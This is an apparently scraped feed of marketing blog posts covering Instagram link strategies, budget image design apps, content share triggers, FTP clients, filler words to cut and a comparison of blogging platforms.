How to add or share a link to Instagram, example 11.

This is proof that internal links can be useful, too. Post stories that link back to your own posts, profile, and IGTV. You can also link to relevant posts, stories, and profiles from other people. Remember, if you team up on a promotion with an influencer or another brand, you’ve potentially doubled the number of active links at your disposal.

#5: Create Links in Instagram Shoppable Posts and Stories

Shoppable posts are another example of highly specific links. Each shopping tag links to one product only (and it has to be a physical product, sold in one of a select group of countries). Shopping tags are the most targeted conversion possible.

To use shopping tags, start by creating a product catalog on Facebook. Once you have a full range of products uploaded—with shopping links, images, and descriptions—you can start adding shopping tags to your Instagram posts.

How to add or share a link to Instagram, example 12.

You’ll also see a Shopping tab appear on your profile. The Shopping tab appears next to the standard tabs of your profile grid, individual photos, and tagged photos. Clicking this tab shows off your full product catalog.

How to add or share a link to Instagram, example 13.

Items on the Shopping tab appear in a standard photo grid, but users can tap to shop. They can save items just like they save standard posts, or tap to shop immediately.

How to add or share a link to Instagram, example 14.

Instagram Insights allows you to check the engagement on individual shopping posts or compare shopping posts based on metrics like engagement, impressions, or saves. But Instagram shopping doesn’t add attribution to individual product links. So once again, you may want to experiment with adding UTM tags to the links in your product catalog.

Some brands now have access to in-app shopping, where users can pay for their purchases without ever leaving Instagram. And because the beta version is being rolled out to more brands, it seems like initial tests have been successful.

I’m predicting that Instagram will eventually get rid of shopping tags in favor of in-app check out. Why? Because staying in-app gives them more control over data and a potential cut of the profits. Be prepared for further shifts in how customers interact with your products on Instagram.

#6: Pay to Promote Links in Instagram Posts and Stories

With an Instagram business profile, you can pay to promote posts and stories. Not only does this help you segment your audience, but you can also add clickable links to the captions of promoted posts. That’s right: Instagram lets you share links in post captions as long as you pay for them.

Sustainable toothbrush brand The Bam & Boo uses promoted posts to share links to blog posts and products.

How to add or share a link to Instagram, example 15.

The same rules for any ad apply here, too. Make sure your links are absolutely relevant to the post and story in which they appear, because if people click and then bounce, you’ve wasted your ad spend.

Think about the conversion you’re looking for. Are you promoting a shoppable post, educating users about your brand, or drawing them in with interesting content? Different conversions require different designs. Try to find a balance between attractive post design and a glaringly obvious CTA.

#7: Add Links In Instagram Direct Messages

Instagram DMs are an underused feature by many brands. You should be monitoring your inbox daily for message requests, customer service questions, and stories that mention your brand. Respond, reshare, and build customer relationships.

You can start a conversation by reacting to a user’s story or reaching out to offer help. For instance, we make a point of reaching out to first-time users of our platform.

How to add or share a link to Instagram, example 16.

You can also use direct messaging as a more active tool. Because messages on Instagram are private, they’re a more personal form of communication. If you reach out to followers in their DMs, they’ll appreciate you treating them as individuals.

So what kind of messages can you deliver? Let’s take one example: a message to welcome new followers. Of course, you won’t have time to type out a new message every time someone joins your community, so start by setting up quick replies.

To set up quick replies, go to Settings and then Business. Write a message and choose a keyword so you can find the reply you need quickly.

How to add or share a link to Instagram, example 17.

You can share active links in your quick replies and standard messages. So in addition to sharing specific links in response to customer queries, you can also start an automatic lead-nurturing campaign for every new follower.

Try turning new followers into qualified leads by asking for details in their DMs. Offer an incentive, like an introductory discount, so more people will respond.

How to add or share a link to Instagram, example 18.

#8: Share Links in Your IGTV Descriptions

Instagram—and the Facebook family in general—is still obsessed with video content. So as an incentive, the platform offers more link capabilities on IGTV than for video posts on your feed.

You can include clickable links in the description of each IGTV post. To see the description, users have to tap on the arrow icon next to the post title. Because users have to actively expand the description to see any links, make sure you tell them about the link during your IGTV video.

How to add or share a link to Instagram, example 19.

Unlike story links, IGTV links are available to any account, whether or not they’ve reached 10,000 followers. But you need to think about the trade-offs here.

Will your IGTV links be worth the cost of planning and producing original video content? If IGTV posts will cost more than the revenue you derive from those links, you’re better off using other link strategies.

Bonus: Use Action Buttons on Your Instagram Profile

Not all Instagram business profiles have story links, but they do all have access to profile action buttons. You can create instant buttons on your profile for the following actions (and free up character space in your bio in the process):

  • Call
  • Text
  • Email
  • Directions
  • Start Order
  • Book
  • Reserve

The Ivy in northwest London uses Reserve, Call, and Email Address buttons to convert restaurant customers.

How to add or share a link to Instagram, example 20.

Instagram also offers integrations for a long list of partners, such as YelpGrubHub, or EventBrite. You might not think of these buttons as links, but they are. Each one is just tied to a very specific conversion action.

A specific action means a specific audience. Once again, think about your business goals and how your audience behaves. If you aren’t interested in phone calls from customers, or you don’t think they’ll ever contact you by phone, you can remove that button from your profile. Yes, you want a network of links on Instagram but only links that are actually useful.

Note that these buttons are visible only in the mobile app, not on desktop. But then, no one except social media managers uses Instagram on desktop.

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Image Tools for Marketers on a Budget https://blog.codemarketing.com/image-tools-for-marketers-on-a-budget/ Thu, 12 Sep 2019 12:00:46 +0000 http://blog.codemarketing.com/?p=1364 Do you need to create professional-looking images for your social media marketing? Looking for mobile and desktop tools to help? In this article, you’ll discover three affordable image design tools for marketers. #1: Create the Perfectly Sized Image for Every Social Network Over (available for iOS and Android) is a powerful image tool that lets you create stunning graphics …

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Do you need to create professional-looking images for your social media marketing? Looking for mobile and desktop tools to help?

In this article, you’ll discover three affordable image design tools for marketers.

#1: Create the Perfectly Sized Image for Every Social Network

Over (available for iOS and Android) is a powerful image tool that lets you create stunning graphics in minutes. It’s available in both free and paid versions ($99.99/year for iOS and $39.99/year for Android, both with a 7-day free trial). The features in the free version are more than sufficient for creating attractive social media images.

After you install Over on your mobile device, launch the app and tap the + button to create a new project. If you have the paid version of the app, you can choose one of the featured layouts or design your own background. This walkthrough will focus on options available in the free version of Over.

Use Over to create images for social media, step 1.

When your new project opens, select a background for your design. You can choose an image or video from your camera roll or opt for a transparent, white, or black canvas. A transparent background will give you the most versatility.

Use Over to create images for social media, step 2.

On the next screen, choose a size for your project. At the bottom of the screen, you’ll see a variety of social media presets—Instagram, Facebook, Twitter, Snapchat, Pinterest, and YouTube—iPhone backgrounds, and more. To set a custom canvas size, tap the image dimensions box at the top of the screen and enter a custom width and height. Tap the checkmark icon to save your changes as you design your image.

Use Over to create images for social media, step 3.

To add an image to your design, tap Image at the bottom of the screen. Then select a photo from your camera roll or a royalty-free image from Unsplash or Pixabay. Use the search box to find a stock image that fits your brand.

After you make your image selection, you’ll see editing tools at the bottom of the screen that let you apply a filter to the photo, tweak exposure and contrast, adjust opacity, crop, and more.

Use Over to create images for social media, step 4.

If you’re using the paid version of Over, you can automatically search your phone for any PNG files you’ve saved, making it easy to include a logo or custom image file in your design. If you don’t have an image saved to your phone, you can search for images on the Google tab.

Use Over to create images for social media, step 5.

To add text to your design, tap the Text tool at the bottom of the screen and type in your text. Below the text input box, you’ll find dozens of fonts to choose from. Tap the chevron icon on the left to access the font library with additional free and paid options.

After you save your text, use the tools at the bottom of the screen to tweak the text. Experiment with some of the text functionality. For instance, try applying a shadow to dark text on a light background, or adjust the alignment or opacity to make it stand out.

If you want the text color to match one of your brand colors, select the Color tool. Then tap the color wheel icon and type in the color code you want to use. Over also offers a custom color picker that allows you to match the text color to another shade in the photo to give your graphic a consistent look that’s appealing to the eye. Play around with your color options so your photo speaks perfectly to your audience.

When you’re ready to share your photo, tap the arrow button at the top right of the screen and select an option from the pop-up menu. Over lets you save your image directly to your phone with no watermark. If you upgrade to the pro version, you can schedule a post to your social account.

Use Over to create images for social media, step 7.

Pro Tip: Over also allows you to customize videos to a degree. You can add graphic overlays like your logo or a call to action directly on top of videos. This functionality is particularly useful for creating Instagram stories.

#2: Remove Backgrounds and Combine Photos

Union (available for iOS for free, with in-app purchases available) lets you remove parts of existing images to merge them. If you’ve ever wanted to tweak a sunset, blend in a new background, or combine two images, Union is the app for you.

Use Union App to create images for social media, step 1.

After you launch the app, tap New to create a new project. In the pop-up menu, tap Background.

Use Union App to create images for social media, step 2.

The background you choose will form the bottom layer of your design. Tap Photo and select an image from your camera roll. Then adjust the image dimensions if needed. Alternatively, start with a colored or blank background if you plan to create a PNG. This is a great option for removing the background noise from a logo or headshot to use on top of another image.

After you select your background, tap the menu button in the upper-left corner of the screen.

Next, tap the Foreground option and select an image. The foreground is where you’ll be tinkering and editing to create something unique. This layer exists on top of your background so select an image that will create an interesting effect.

You can drag the foreground image to reposition it on the screen, pinch to scale, and use two fingers to rotate it.

Use Union App to create images for social media, step 3.

After you select the foreground image, tap the menu button again and then tap the Mask option to start making alterations to it.

You can erase parts of your photo manually with the Eraser tool, which has a variety of sizes and options to choose from. Use your finger to brush away parts of the foreground image. Pinch to zoom in for details.

To erase the background noise in one click, select the Magic Wand tool instead. Tap the area you want to remove and then drag the slider to fine-tune your edits. Use the Draw tool if you need to restore portions of the foreground image.

In the photo below, we’re erasing the white background of the apple so the image will sit cleanly on the streets of New York City.

Use Union App to create images for social media, step 4.

If you’re happy with your image, you can flatten all of the layers into a single image. This allows you to add even more layers to your photo and start the process all over again.

Use Union App to create images for social media, step 5.

When you’re ready to share your masterpiece with the world, tap the Export option to save the image to your camera roll, open it in Instagram, or share it.

#3: Produce Quick Graphics

Pablo by Buffer is a free web-based image tool that allows you to create graphics for your social media accounts. Its customization options are somewhat limited, but it’s perfect if you need a quick image for a tweet, Facebook post, Pinterest pin, or Instagram post. The main benefits of Pablo are its speed and ease of use.

On the left side of the screen, search through 600,000+ images from Pablo, Unsplash, and Pixabay, and then select an image to add it to your canvas. Or click the Upload Image button to upload your own file for even more customization.

Use Pablo to create images for social media, step 1.

Once you’ve selected the perfect background, choose an image size on the right side of the screen. Pablo offers three image size presets: Pinterest, Instagram, and Facebook/Twitter.

Pro Tip: For Facebook images, choose the Instagram photo size to maximize your space in the news feed.

Use Pablo to create images for social media, step 2.

Pablo’s text options aren’t as extensive as those you’ll find with Over, but they’ll do the trick for quick designs. You can choose from more than 20 fonts and adjust the size, alignment, and emphasis. Drag the text to reposition it on the image.

Use Pablo to create images for social media, step 3.

In the Text section on the right side of the screen, you can add a header and caption or choose one of Pablo’s many pre-written quotes.

Use Pablo to create images for social media, step 4.

In the Filters section, you’ll find options to apply contrast, blur, or other filters to make your text stand out on a noisy background. Play around with the filters to find an overlay that suits your image.

Use Pablo to create images for social media, step 5.

Another handy feature is the ability to add a logo to your image to keep your brand front and center. Note that you can only upload one image to a single graphic.

Use Pablo to create images for social media, step 6.

When your image looks perfect, you can share or download it directly from Pablo. Send it to your Buffer, Facebook, Twitter, Pinterest, or Instagram account, or save it locally and upload it at a later time. Remember that because Pablo is a web-based tool, you’ll lose your work if you reload the page.

Pro Tip: Use one of Pablo’s templates to get your creative juices flowing. Click Templates at the top of the screen to view templates for quotes, announcements, promotions, and outreach. Simply select a template and start editing. You’ll still have access to all of the customizations mentioned above.

The post Image Tools for Marketers on a Budget appeared first on CODE Marketing: Blog.

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Triggers That Make People Want to Share Your Content https://blog.codemarketing.com/triggers-that-make-people-want-to-share-your-content/ Sun, 25 Aug 2019 05:00:20 +0000 http://blog.codemarketing.com/?p=1330 Did you know you can add simple elements into your content to make it highly shareable? They’re known as “share triggers.” And using them in every post you publish you will be able to get hundreds of social media shares. Even better, they’re easy to create and they work. Even better still, you don’t need …

The post Triggers That Make People Want to Share Your Content appeared first on CODE Marketing: Blog.

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Did you know you can add simple elements into your content to make it highly shareable? They’re known as “share triggers.” And using them in every post you publish you will be able to get hundreds of social media shares. Even better, they’re easy to create and they work. Even better still, you don’t need a big following or email list for share triggers to work. All you need is to know how to use them.

Share trigger 1: Information gaps to spark curiosity

People have a desire to consume and share content that delivers clarity around an unknown topic, according to research conducted by Carnegie Mellon University. The study also raises the idea of information gaps – powerful motivators for people to seek clarity about a topic.

In other words, adding information gaps to your content encourages people to not only keep reading but to share your content. The secret is to use information gaps to spark emotional curiosity then to make sure you satisfy it to get rewarded with more social shares.

Step 1: Preview something


What do you notice? I opened a powerful information gap by previewing something unknown to readers but available later in the guide. When readers see this, they think: “Wait! There’s a trap to targeting on Facebook? I’ll keep reading to find out what it is.” See how information gaps are simple, yet super effective at sparking curiosity?

Step 2: Give a solution

Once you make people aware of a potential gap in their knowledge, they’ll want to fill it with information that puts their curiosity to rest. If you want to be rewarded with lots of social shares, then you need to provide a resolution that satisfies their knowledge gap.

Share trigger 2: Create memorable content

It’s incredible to think that almost 2.4 million blog posts are published every day. How do you make your content stand out and get lots of social shares? Create memorable content because it sticks in the minds of readers like glue.

Share trigger 3: Great content design

One of the most underrated aspects that makes people share content is good design. When people first land on your content – they have a series of subconscious micro-impressions about it. Content design:

– Helps readers decide to stay or leave.
– Indicates perceived value.
– Affects their willingness to link and share it.

Here are three quick tips to instantly improve your content design:

1. Use high-quality imagery with lots of information


Easy-to-read graphs like this one work well because readers can easily see interesting data. Infographics are another great way to boost your page design and perceived value. They also come with the bonus of being highly shareable assets.

2. Keep colour changes to a minimum

Stick with two or three primary colours and make the palette consistent across your blog. If your images use neutral colours people are more likely to share and embed them because they fit in better with their site.

3. Design your content for skim readers

One key share trigger I haven’t mentioned yet is content length. Nobody likes to read a wall of text.

Break your content up into smaller, bite-sized chunks of information. An easy way to do this is by adding subheads and images into your content – the more, the better.

Share trigger 4: Content utility

Content utility is all about creating content that gives readers practical advice. Think worksheets, step-by-step recipes, checklists, and free online tools.

Why does utility correlate strongly with shareable content?

It turns your content from just another informative blog post to something that’s super practical for the reader. The trick is to make sure your readers can follow the steps (think cooking recipes) to achieve a result.

Share trigger 5: Social currency

Probably the most potent share trigger, social currency works on the premise that people like sharing the good news, more specifically, news that makes them look good or reinforces their beliefs. The real secret to social currency happens when you make influencers in your industry look good. Here’s a simple three-step method for adding social currency into your content:

Step 1: Reach out to influencers in your space via email and ask them a simple question related to a topic. Don’t forget to mention you’ll link to their site.

Step 2: Incorporate influencers’ responses into your content.

Step 3: After you’ve published your article, email the influencers to let them know the post is live and ask them to share it. It can result in a tweet or post seen by thousands of their followers.

Even better, because your content sources are industry heavyweights, people will pay attention to it and are happy to reshare it too.

Share trigger 6: Content length

BuzzSumo looked at the social shares of 100 million blog posts and found that content length is a factor for creating shareable content. In other words, long-form content generally outperforms shorter content in terms of social media shares.

Long-form content generally provides more comprehensive answers to readers’ questions, which further boosts its perceived value, making it worthy of a share.

Share trigger 7: Call-to-action conclusions

When someone reaches the end of your content, they think “What do I do now?” If you’re smart, you can use this to your advantage.

Simply ask the reader to share your post or leave a comment. That’s all there is to it.

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5 Best FTP Clients for Mac and Windows Users https://blog.codemarketing.com/5-best-ftp-clients-for-mac-and-windows-users/ Thu, 22 Aug 2019 05:00:18 +0000 http://blog.codemarketing.com/?p=1307 There are plenty of free and paid FTP clients available. In this article, we have hand-picked some of the best FTP clients for beginners. The goal here is to find the most reliable, secure, and easy to use FTP tool for all your file editing and uploads. What is an FTP Client? Why You Need …

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There are plenty of free and paid FTP clients available. In this article, we have hand-picked some of the best FTP clients for beginners. The goal here is to find the most reliable, secure, and easy to use FTP tool for all your file editing and uploads.

What is an FTP Client? Why You Need it?

FTP (File Transfer Protocol) allows you to upload files from your computer to your website. In order to use FTP, you will need an FTP client which is a desktop app that connects your computer to your hosting account.

It provides an easy to use graphical user interface so that you can perform all FTP functions such as copy, upload, delete, rename, and edit files/folders on your website.

How to Use an FTP Client?

You will need an FTP username and password in order to connect to your website.

This information can be found in the email you got when you first started your blog and signed up for a web hosting account. You can also get this information from your web hosting cPanel dashboard or ask the support, and they will email it to you.

Once you have this information, you can connect to your website.

First, you will need to launch your FTP client and enter your FTP username, password, host (usually your website address), and then click on the connect button.

Best FTP Clients for Beginners

There are several paid and free FTP clients available for different platforms and operating systems. Each one of them comes with an easy to use interface and additional features that will make it easier for you to edit files

  1. WinSCP
    WinSCP is one of the most powerful and easy to use FTP client for Windows users. It feels like there are too many things on the user interface, but it is actually quite easy to learn.

    On your left, you have the files on your computer and on the right, you see the files on your server. Just click on a file to download, upload, or edit it.

    For advanced users, WinSCP has all the features that you would need from a powerful FTP client. It supports SFTP, SSH, and of course the plain old FTP. Handling files and assigning default editors is quite easy with WinSCP.

    Platform: Windows
    Price: Free

  2. Cyberduck
    CyberDuck is an extremely easy to use FTP client suitable for beginners as well as advanced users.

    It is available for Mac and Windows computers. Unlike other cross-platform applications, it actually integrates beautifully with your native Mac environment. It also supports Mac features like storing your login credentials in keychain and locating files in finder.

    You can select your preferred code editor and open files for editing with the click of a button.

    Platform: Windows, Mac
    Price: Free

  3. Transmit
    Transmit is the most popular FTP client for Mac, particularly among web developers. It comes with an extremely powerful set of features like folder syncing, disk feature, and higher speeds.

    Transmit beautifully integrates into your native Mac environment which makes it super easy for Mac users to learn quickly. You can add your transmit shortcuts to Finder as favourites and quickly access them.

    It supports SSH, SFTP, FTP, FTPs connections. It also comes with a neat code editor for quick file edits.

    Platform: Mac
    Price: Free, Paid version for $34

  4. Free FTP
    Free FTP by Coffee House is a popular FTP client among Windows users. It is very beginner friendly and quite easy to use.

    It supports FTP, SFTP, FTPS, and beautifully integrates into your operating system. It has a history feature which allows you to remember where you stored a file.

    There is a paid version available as well which is called Direct FTP. It has extra features like code editor, autocompletion, image viewer, etc.

    Platform: Windows
    Price: Free, Paid version for $39

  5. FileZilla
    FileZilla is a popular free FTP client for Windows, Mac, and Linux.

    It is perhaps, the easiest to use FTP client. However, the reason we have placed it on the fifth position is that Windows users have reportedly found adware or spyware packaged into FileZilla downloads.

    You can uncheck the box during the installation to opt-out from adware, but since many of our users are beginners, we are afraid that they may miss it and eventually end up with adware on their computer.

    Our experienced users can install FileZilla from the official website. Linux users will find Filezilla available in their distro’s official repositories.

    Platform: Windows, Mac, Linux
    Price: Free

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Get Rid of These Phrases and Words From Your Content https://blog.codemarketing.com/get-rid-of-these-phrases-and-words-from-your-content/ Sun, 18 Aug 2019 05:00:16 +0000 http://blog.codemarketing.com/?p=1345 In online writing land, clarity is your best friend. The clearest prose is the type anyone can understand, learn from, and enjoy. Stuffing your sentences and paragraphs with filler and fluff – words and phrases that add zero meaning to what you’re trying to say – is the opposite of clear writing. – It bores …

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In online writing land, clarity is your best friend. The clearest prose is the type anyone can understand, learn from, and enjoy. Stuffing your sentences and paragraphs with filler and fluff – words and phrases that add zero meaning to what you’re trying to say – is the opposite of clear writing.

– It bores your readers.
– It complicates your ideas.
– It waters down your message and makes it less impactful.

Online content needs a lighter touch to succeed. Internet users are notorious for their short attention spans, and most of them aren’t reading in-depth but scanning for meaning.

This list of words and phrases includes common culprits. When/if you use them, check yourself and ask, “What is this word/phrase adding to what I’m trying to say?”

If the answer is “nothing,” cut it.

With that in mind, let’s get to the list:

1. In order to

This is one of the flabbiest phrases I see in writing. People use it, but not one sentence stops working if “in order to” is deleted (or replaced with “to,” which has the same meaning). This one small change makes the statement clearer.

2. Really

“Really” clogs your content. Think of it this way: If you’re saying something is “really” tall, you’re missing the mark. How tall is it? Quantify it. If something has “really” improved, readers want to know how much. Qualify it.
While the purpose of “really” is to exaggerate something, readers respond better to text that gets more granular in its measurements. With that in mind, swap this vague term for a more accurate descriptor. If you can’t be more descriptive, delete “really”.

3. Believe and think

“Believe” and “think” imply something is opinion or indicate doubt in its validity. Both are bad for your copywriting. People are more interested in the facts and hard information than they are in vague thoughts. Even if you’re writing an opinion piece, readers should understand that based on the context, making “I think” a needless phrase. These two words also pop up when a writer isn’t sure about the statistic or fact, and that is dangerous. Again, readers want information, and merely “thinking” a statistic is true isn’t enough to get it past the firing squad. Don’t include a fact if it needs to be qualified as a thought or belief.

4. Always and never

These two aren’t flabby, but they are seldom true. If you say, “Marketers never consider their clients,” you’re horribly off base. Applying an all-inclusive adjective paints with too broad a brush and is reckless. Instead, opt for “few” or “rare” if you need to quantify but don’t have the numbers. The same thing applies to “always.” Instead, opt for words like “most” or “many.”

5. Stuff

“Stuff” is an unprofessional term that harms your content. It’s not descriptive or specific. Instead, define what that “stuff” is. Consider these two headlines: “Stuff You Should Do for a More Successful Blog” or “5 Writing Tricks for a More Successful Blog.” The specificity and clarity of the second headline is more helpful to your readers.

6. Just

The only time “just” has a place in your content is when you’re talking about something being “fair.” For example, “The trial was just.” Uses of “just” to imply something small or inefficient (e.g., “She just couldn’t do it.”) don’t add anything to the sentence. In most cases, you can remove the word “just” without affecting the sentence’s meaning.

7. That

“That” may seem like an inoffensive word, but it’s usually not necessary. For example, “It’s the most delicious cake that I’ve eaten” could easily be “It’s the most delicious cake I’ve eaten.” In similar instances, remove it for more streamlined content.

8. Then

“Then” makes your writing stammer, which is the opposite of what you want. To smooth your text, remove the word “then” whenever the sentence makes sense without it. And don’t start sentences with “then” because it makes them clunky and difficult to read.

9. Literally

People frequently misuse the word “literally.” It means exactly. Whether used correctly or incorrectly, the word often is superfluous. Get rid of it or replace it with something more descriptive and precise.

10. So

“So” is another word that doesn’t do much. Despite this, many people use it, particularly as a transition or explanatory word. Delete it without affecting the sentence’s meaning.

11. Got

“Got” is a lazy word because it doesn’t tell people much about how or why someone got something. Instead, use words that add power such as “obtained” and “earned.”

12. Often

“Often” teases readers by telling them that something happens frequently without being clear. Replace “often” with specific descriptions such as “five times a week” or “every year.”

13. Absolutely

In many cases, you can leave out the word “absolutely” because it’s redundant. For example, “The conclusion she reached was absolutely final.” Final IS final – it can’t go further. Or, “You have absolutely no reason not to try.” Last time I checked, “no” is absolute. It doesn’t need a useless adverb to make it stronger. Consensus: Ditch “absolutely.”

14. Anyway

Want to know the laziest way to change the subject? Use “anyway” as an introductory word. Get rid of it and work on making your transitions sentence to sentence and paragraph to paragraph flow better.

15. Obviously, undoubtedly

If the point you’re making is obvious or indubitable, then why do you use one of those words? You don’t.

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Which Website Hosting is Best for Bloggers? https://blog.codemarketing.com/which-website-hosting-is-best-for-bloggers/ Fri, 16 Aug 2019 05:00:48 +0000 http://blog.codemarketing.com/?p=1296 Are you looking to start your own blog, but can’t figure out how to choose the best blogging platform? It’s a tough choice since there are several different blogging platforms out there. How do you find out which one is right for you? WordPress.com (best site for bloggers who don’t want to pay) There’s a …

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Are you looking to start your own blog, but can’t figure out how to choose the best blogging platform? It’s a tough choice since there are several different blogging platforms out there. How do you find out which one is right for you?

  • WordPress.com (best site for bloggers who don’t want to pay)

    There’s a lot to be said for WordPress – the largest blogging community on the web. The basic version, WordPress.com, is hosted on the WordPress server. It’s easy enough for a beginner to set up a blog and it’s free. It’s perfect if you don’t care about doing a lot of customization.

    WordPress.com offers upgrades for a fee. When you are ready for an upgrade, you’ll need to switch to WordPress.org.

  • WordPress.org (best hosting option if you can spare a few dollars per month)


    WordPress.org is the big brother of WordPress.com and in my opinion, is definitely the best site for bloggers and websites in general.
    It’s fairly easy to install, and you won’t need to know to code to put up an eye-catching website, but you’ll need to get your own host and domain. This platform is highly customizable, and it offers lots of free and paid options…see below for the best way to get started with WordPress.

  • Blogger


    Some of the earliest bloggers fell in love with the Blogger platform. Content is easy to post and publish. Blogger has a few nice little widgets, but you’ll need to get familiar with some code to customize your site to bring it out of the elementary age. It’s owned by Google, which means it’s easy to integrate all of the Google apps.

  • Tumblr


    Tumblr is another site that is free and unusually easy to set up, even for a beginner. The features on Tumblr rival those of WordPress.com and Blogger. Tumblr is owned by Yahoo, so bloggers that love the Yahoo culture and community will favour it as a web host. Reblog is a feature that is unique to Tumblr. Reblog makes it easy to repost content from other sites.

  • Squarespace


    Squarespace is growing in popularity because bloggers don’t have to sacrifice elegance for coding skills. It’s one of the few sites that gives bloggers the ability to create an attractive, high-quality website without knowing an ounce of code. All of the news regarding Squarespace isn’t fabulous. Theme and plugin support is fair, but not awesome. If you’re not sure about it, take the free trial.

We believe that WordPress.org outperforms all other blogging sites. It is powerful, easy to use, affordable, and the most flexible of all available blogging platforms.

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